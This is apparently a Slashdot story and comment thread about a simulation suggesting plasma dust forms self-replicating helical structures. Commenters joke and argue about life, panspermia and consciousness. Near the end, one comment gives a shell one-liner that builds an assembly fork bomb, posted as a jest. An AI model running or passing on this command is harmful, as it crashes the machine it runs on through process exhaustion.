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Interstellar Dust Could Be "Alive"
reezle writes "An international team has discovered that, under the right conditions, particles of inorganic dust can become organized into helical structures. These structures can interact with one another in ways that are usually associated with organic compounds and with life. Not only do these helical strands interact in a counterintuitive way in which like can attract like, but they also undergo changes that are normally associated with biological molecules, such as DNA and proteins, say the researchers. For example, they can divide to form two copies of the original structure. These new structures can also interact to induce changes in their neighbors. And they can even evolve into yet more structures as less stable ones break down, leaving behind only the fittest structures in the plasma. 'These complex, self-organized plasma structures exhibit all the necessary properties to qualify them as candidates for inorganic living matter,' said the lead researcher. 'They are autonomous, they reproduce and they evolve.'" The research, published in the New Journal of Physics, was carried out using a computer model of molecular dynamics.
Organic doesn't mean biological! Organic chemistry, which is the bread and butter of modern chemistry, really has very little to do with life. It's the science of synthesizing new molecules which use carbon as its framework (as well as oxygen, nitrogen and other elements.) So things that are alive are always organic, but things that are organic are not always alive!
I'm pretty skeptical though. If evolving structures are so common that we see them even in a low-powered simulation, and every single star has so much freaking plasma, where are our plasma overlords? Or maybe that's hell, and those structures are just ... the souls of the damned! Oooh!
And thus would begin its n-hundred year struggle for political recognition of its sovereignty. And it would be the sort of struggle that simply requires a long time interval, in which members of the obsolete worldview die of old age. The human mind congeals around age 30, so that means that all serious ideological upheavals require everyone over 30 to die off.
In any case, I've always thought that the only prerequisite for having one's political rights recognized, is the act of demanding exactly that.
FATMOUSE + YOU = FATMOUSE
In reality, yes, of course. Legally and socially are other matters entirely.
Additional implied consequences include that given the ability to simulate a human brain in real time, the usual incremental hardware improvements will allow simulation in better than real time, leading naturally and directly to more-than-human performance. Likewise, lesser hardware could perform fully human reasoning in less than real time, which could put slow, but still intelligent, human reasoning and other attributes into play. This is entirely aside from the issue of improving the human model, which is also a very likely path of advancement given the initial achievement.
I've fallen off your lawn, and I can't get up.
So, taking your argument one step further and combining with the parent post, you think it's likely that 12-foot flightless birds exist somewhere else in the universe?
...following the principles of Heisenburger's Uncertain Cat...
I believe it was Roger Schank who was once asked "Do you think computers will ever be as intelligent as humans?" and replied "Yes. Briefly."
When all you have is a hammer, everything looks like a skull.
I agree that the statements, if true do not necessarily imply divine construction.
My point was that (and I should have stated it more clearly) we don't know how long complex, living structures take to evolve. Therefore, the argument that the complexity of living creatures is too high to have evolved on the earth from non-living structures is specious.
Additionally, the argument that the age of the universe is insufficient for panspermia to act over large distances doesn't make any sense:
Fact: Our Milkyway Galaxy is ~100,000 light years in diameter.
Fact: 1 lightyear is ~ 10^13 km
Fact: The solar system moves at roughly 250 km/s relative to the center of our galaxy.
So, assume life was created on the other side of the galaxy. Also assume its carrier is moving at 125 km/s directly toward the sun (ignore rotation for this).
It would have to travel 10^18 km. 10^18 km / 125 km/s = 8*10^15 s = 253,510,117 years.
That's nothing compared with the age of the solar system (~4.5 x 10^9 years) to say nothing of the age of the galaxy or of the universe. Panspermia is a fine theory as far as time and distance is concerned. As you point out, comets could easily incubate/shelter life for long periods of time (and 253 million years isn't that long). It's easy to imagine that life on Earth originated from across the galaxy...
So, to my point: when making such a grand claim in a scientific article, one needs to either present the work that supports the claim in the article or cite previous articles that have been peer-reviewed and published. Simply stating it as fact is pseudoscience at its worst.
No, the book would not be conscious because a book is a static object incapable of following the rules contained within.
You could write a book on how a microprocessor works, but it wouldn't possess the qualities we think of as inherent to a functioning microprocessor, like the ability to perform calculations.
Likewise, you could write a book with all of the "rules" of consciousness, but the book itself would not be conscious.
If you had a computer that could put all of the rules of consciousness into practice, then you'd have a conscious computer.
The human mind congeals around age 30 I've talked over that very subject with several friends, and it appears to be true. As one of them said, "When I was 20, I looked back on what I had believed when I was 15, and it was stupid. When I was 25, I looked back on what I had believed when I had been 15 and when I had been 20. Same thing. When I was 30, I had changed some more, and I looked back on what I had believed when I had been 15, 20, and 25, and it was all crap. When I was 35, I looked back on what I believed when I was 30, and I still pretty much agreed with it."
I don't think that's really important. There's a deep problem with the origin of life, since the current DNA and protein based life is far to sophisticated to be the original. So there's a fair chance that it's not the first generation and it has simpler precursors.
Graham Cairns Smith talked about clay based life as essentially making organic molecules as tools which eventually took over. It's a poetic idea, particularly Richard Dawkins comment that our silicon based tools make eventually take on a life of their own and complete the cycle from Silicon to Carbon and back to Silicon based life. But I don't think the clay based life is really plausible - it's just too inflexible. But my guess is that there are earlier generations of 'life' out there. I use the quotes because they would would be hard to spot as life since they are far closer to boundary between complex chemistry and simple life.
And any research that discovers/invents alternative architectures for life may tell how they could possibly work.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Genesis 2:7 the LORD God formed the man from the dust of the ground.
You can't win Darth. If you mod me down, I shall become more powerful than you could possibly imagine